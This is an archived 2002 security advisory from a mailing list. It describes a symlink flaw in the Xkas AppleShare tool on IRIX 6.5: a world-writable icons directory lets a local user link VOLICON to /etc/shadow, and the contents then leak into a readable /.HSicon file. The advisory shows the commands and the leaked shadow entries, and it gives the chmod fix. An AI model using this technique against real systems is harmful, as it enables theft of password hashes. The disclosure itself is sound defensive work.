[UNIX] Xkas Application Vulnerability

From: support@securiteam.com
Date: 02/04/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon,  4 Feb 2002 20:34:26 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Xkas Application Vulnerability
------------------------------------------------------------------------

SUMMARY

 
<http://dmawww.epfl.ch/ebt-bin/nph-dweb/dynaweb/SGI_EndUser/Xinet_AG/@Generic__BookTextView/28> Xkas is a server administration tool for appleshare. Mis-configuration by the user with the root privilege could lead to serious security vulnerability.

DETAILS

Vulnerable systems:
XKas that comes with IRIX 6.5

HSResource directory and .HSicon file is created when sharing a
directory. Creation of the HSicon file is accomplished by copying the
/var/adm/appletalk/icons/VOLICON file. A problem occurs during this
process because the permission of /var/adm/appletalk/icons directory is
set to 777 (world-writeable). Link the wanted file with VOLICON like the
following.

$ ls -al /var/adm/appletalk/icons
total 8
drwxrwxrwx 4 root sys 57 Jan 25 03:12 .
drwxr-xr-x 6 root sys 4096 Jan 24 16:05 ..
drwxr-xr-x 2 root sys 9 Jan 25 03:12 .HSResource
lrwxr-xr-x 1 loveyou user 11 Jan 25 03:05 VOLICON ->
/etc/shadow

When the administrator uses the /usr/etc/appletalk/xkas directory to share
the root directory, the following files are created in the root.
$ ls -al /
total 17099
drwxr-xr-x 37 root sys 4096 Jan 25 03:30 .
drwxr-xr-x 37 root sys 4096 Jan 25 03:30 ..
drwxr-xr-x 2 root sys 9 Jan 25 03:30 .HSResource
-rw-r--r-- 1 root sys 786 Jan 25 03:30 .HSicon
(etc..)

$ cat /.HSicon
root:y7floveyous30I:10908::::::
bin:yxaiFduxixe8s:11127::::::
uucp:*:11127::::::
sys:*:11127::::::
adm:*:11127::::::
loveyou:mXaa2jxi/ejY:10877::::::
(etc..)

Solution:
Remove 'other-write' permission, contact your vendor, and get a patch.
$ su -
# chmod o-w /var/adm/appletalk/icons

ADDITIONAL INFORMATION

The information has been provided by <mailto:loveyou@hackerslab.org> Kim
Yong-Jun.

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